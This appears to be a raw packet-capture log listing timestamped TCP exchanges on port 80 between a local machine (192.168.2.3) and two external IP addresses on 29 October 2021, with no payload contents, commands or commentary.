Oct 29, 2021 14:11:04.697103024 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697110891 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697115898 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697154999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697187901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697210073 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697223902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697231054 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697261095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697293997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697329998 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697344065 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697364092 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697376966 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697400093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697436094 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697468996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697484016 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697504997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697519064 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697542906 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697577000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697613001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697627068 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697649956 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697659016 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697686911 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697722912 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697756052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697772026 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697782993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697804928 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697818995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697853088 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697889090 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697902918 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.697926044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.697940111 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.708180904 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.708380938 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.756103039 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756150961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756198883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756222963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756249905 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.756275892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756285906 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.756330967 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756355047 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756397963 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.756403923 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.756448984 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780426979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780479908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780518055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780554056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780589104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780607939 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780625105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780641079 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780662060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780673027 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780699968 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780735970 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780770063 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780790091 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780806065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780811071 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780841112 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780908108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780944109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780956030 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.780981064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.780982971 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781016111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781054020 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781085968 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781090021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781124115 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781158924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781166077 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781194925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781200886 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781232119 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781266928 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781301022 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781315088 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781338930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781342030 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781374931 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781409025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781444073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781466961 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781491995 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781495094 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781536102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781574965 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781610966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781621933 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781651020 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781661987 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781692982 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781729937 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781768084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781773090 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781806946 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.781806946 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.781847954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.782566071 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.790577888 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.790632963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.790733099 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.839059114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839080095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839108944 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839126110 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839140892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839157104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839176893 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.839181900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839199066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.839231014 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.839238882 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.839243889 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864480972 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864501953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864514112 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864525080 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864542007 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864561081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864586115 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864603043 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864610910 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864619017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864635944 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864651918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864656925 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864662886 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864669085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864669085 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864705086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864721060 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864722013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864739895 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864754915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864772081 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864805937 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864835024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864871025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864886999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864898920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864926100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864937067 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864942074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864959002 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.864959955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.864994049 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865098000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865115881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865130901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865147114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865165949 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865174055 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865190029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865206957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865219116 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865225077 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865226030 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865242958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865247965 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865258932 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865276098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865293980 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865303993 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865318060 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.865320921 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865338087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865354061 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.865370035 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.867624044 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.872970104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.873020887 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.873384953 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.921753883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921816111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921855927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921895027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921935081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921966076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.921964884 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.922004938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.922013998 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.922044039 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.922048092 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.922152042 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947164059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947221041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947261095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947299004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947336912 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947338104 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947376013 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947402000 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947417021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947438002 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947458029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947494030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947532892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947551966 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947572947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947588921 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947613001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947650909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947689056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947704077 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947729111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947743893 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947768927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947804928 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947841883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947858095 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947880983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947902918 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.947918892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947957993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.947997093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948014021 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948035955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948054075 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948080063 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948116064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948153973 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948175907 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948193073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948204994 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948231936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948270082 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948307991 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948328972 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948345900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948362112 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948385954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948424101 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948462963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948463917 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.948502064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948544025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.948587894 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.949745893 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.949783087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.949826002 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.955082893 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:04.955832958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.955883026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:04.955938101 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:05.004565954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:05.004623890 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:05.004666090 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:05.004703045 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:05.004735947 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:05.004765034 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:05.004813910 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:05.139961958 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:05.216382980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.216440916 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.284135103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.289655924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.343586922 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.343647957 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.411945105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418493986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418539047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418575048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418601990 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418613911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418653011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418689966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418725967 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418728113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418744087 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418766022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418802977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418839931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418848991 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418879032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418898106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418917894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418956995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.418991089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.418992996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419030905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419079065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419081926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.419115067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419152975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419162035 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.419190884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.419198990 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.419226885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.420305014 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486255884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486298084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486339092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486378908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486392021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486417055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486427069 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486457109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486494064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486530066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486542940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486568928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486577034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486607075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486645937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486685038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486690998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486721039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486727953 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486757994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486795902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486831903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486840963 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486871004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486876965 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.486907959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486946106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486984968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.486991882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487020969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487034082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487061024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487099886 CEST	80	50094	193.56.146.214	192.168.2.3
